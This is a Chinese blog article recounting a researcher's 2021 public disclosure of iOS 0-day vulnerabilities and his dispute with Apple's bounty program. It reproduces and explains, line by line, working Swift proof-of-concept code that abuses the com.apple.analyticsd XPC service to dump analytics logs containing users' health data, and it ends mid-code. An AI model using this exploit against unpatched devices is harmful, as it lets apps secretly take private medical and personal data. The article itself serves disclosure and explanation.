一、前言
大家好,今天我们一起来吃一个苹果系统漏洞的大瓜!
事情是这样的,9 月 24 号 Denis Tokarev 发表文章公开披露 4 个 0-day iOS 漏洞,吐槽苹果没有署名感谢,最关键是苹果没有给赏金!
以下是作者的信息:
- Twitter:Denis Tokarev
- GitHub:illusionofchaos
- 披露文章:Disclosure of three 0-day iOS vulnerabilities and critique of Apple Security Bounty program / Хабр
二、事件始末
从 Twitter 可知 illusionofchaos 为化名的研究人员真名是 Denis Tokarev(丹尼斯·托卡列夫),目前关于 Denis Tokarev 个人资料并不多,通过其使用俄语的网页披露漏洞,猜测他是俄罗斯人。
作者称在今年 3 月 10 日 ~ 5 月 4 日之间给苹果报告了 4 个 0-day 漏洞,但到发文为止,只在 iOS 14.7 修复了一个,但苹果在 iOS 14.7 安全性内容 更新页面并没有披露出来!当作者向苹果(Apple Product Security)提出质疑时,他们承诺在下一次系统版本更新的页面中列出,但此后的三次版本发布都没有列出。所以作者怒了!决定披露出来!才有了今天这个惊天动地的新闻(大瓜)!
0-day 漏洞
0day
,zero-day vulnerability,0-day vulnerability,零日漏洞或零时差漏洞。
零日攻击 指被发现后立即被恶意利用的安全漏洞。通俗地讲,即安全补丁与瑕疵曝光的同一日内,相关的恶意程序就出现。由原软件发行公司提供修补程序,但此法通常较慢,因此软件公司通常会在最新的病毒代码中提供回避已知零时差攻击的功能,但无法彻底解决漏洞本身。这种攻击往往具有很大的突发性与破坏性。
小编注:
iOS 14.7 发布于 2021 年 7 月 19 日;
在作者发文后 2021年 10 月 11 日,苹果发布 iOS 15.0.2 ,又修复了一个漏洞。
接下来,我们先分析这 4 个漏洞的危害,然后在讨论关于苹果安全赏金计划,最后,在一些探讨一下关于 iOS 安全性。
iOS Analyticsd pre-14.7 exploit
漏洞在 iOS 14.7 已修复。
漏洞作用
允许任何用户安装的 app 访问分析日志(设置->隐私->分析和改进->分析数据 中的日志),这些日志包含(但不仅限于):
- 医疗信息(心率、检测到的心房颤动计数和心律不齐事件)
- 月经周期长度、生理性别和年龄、用户是否记录性活动、宫颈粘液质量等。
- 设备使用信息(不同情况下的设备取货、推送通知计数和用户操作等)
- 所有具有各自 bundle ID 的应用程序的屏幕使用时间信息和会话计数
- 有关设备配件及其制造商、型号、固件版本和用户分配名称的信息
- 应用程序崩溃时带有 bundle ID 和异常代码
- 用户在 Safari 浏览器中查看的网页语言
漏洞说明
此漏洞是不需要任何权限,app 就可以获取分析日志,而分析日志是每个系统都会有,肯定会存在敏感的信息。同时,作者表示即使在设置中关闭“共享分析”,所有这些数据仍在收集中。关于这点,小编没有进行验证,有兴趣的朋友可以验证一下。
此漏洞在 iOS 14.7 已经修复,所以,小编在 iOS 14.2 设备上测试,其中有一组名为 MotionUsageMetrics
数据:
这个数据应该是每个 app 调用 Motion(陀螺仪)的数据。
漏洞代码
漏洞攻击示例源代码:GitHub
func analyticsJson() -> String {
let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
xpc_connection_set_event_handler(connection, {
_ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_string(xdict, "command", "log-dump")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
return String(cString: xpc_dictionary_get_string(reply, "log-dump"))
}
XPC
这里先解析一下 XPC
,XPC 是 macOS 和 iOS 当中一种基于 Mach 消息的 IPC (进程间通信) 技术, 它实现了权限隔离, 使得 App Sandbox 更加完备。需要注意的是,在 iOS 上是私有 API。简单来说,就是系统封装了很多 XPC 服务,一个 XPC 提供了进程间通信的服务,所有的 app 都可以访问这个服务。详细 API 功能和说明,可以参考以下链接:
- XPC | Apple Developer Documentation
- XPC Connections | Apple Developer Documentation
- XPC · objc.io
- ObjC 中国 - XPC
漏洞分析
了解了 XPC 基本概念,上面的源代码,大家应该能猜到一些了。就是通过苹果系统的 XPC 服务 com.apple.analyticsd
,因苹果没有验证权限,导致所有 app 都可以访问这个 XPC 服务。
源代码解读:
func analyticsJson() -> String {
// 建议 com.apple.analyticsd 的 XPC 连接
let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
// 处理 connection 的各种事件
xpc_connection_set_event_handler(connection, {
_ in })
// 必须调用 resume 方法来启动
xpc_connection_resume(connection)
// 创建一个XPC参数传递字典
let xdict = xpc_dictionary_create(nil, nil, 0)
// 键是 command, 值是 log-dump
xpc_dictionary_set_string(xdict, "command", "log-dump")
// 发送消息
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
// 读取结果
return String(cString: xpc_dictionary_get_string(reply, "log-dump"))
}
如果需要运行源代码,需要注意,项目中的 c.c
代码文件中 c 函数方法需要修改成这样:
void * normal_function1(const char * arg1, int arg2) {
return ((void *(*)(const char *, int))((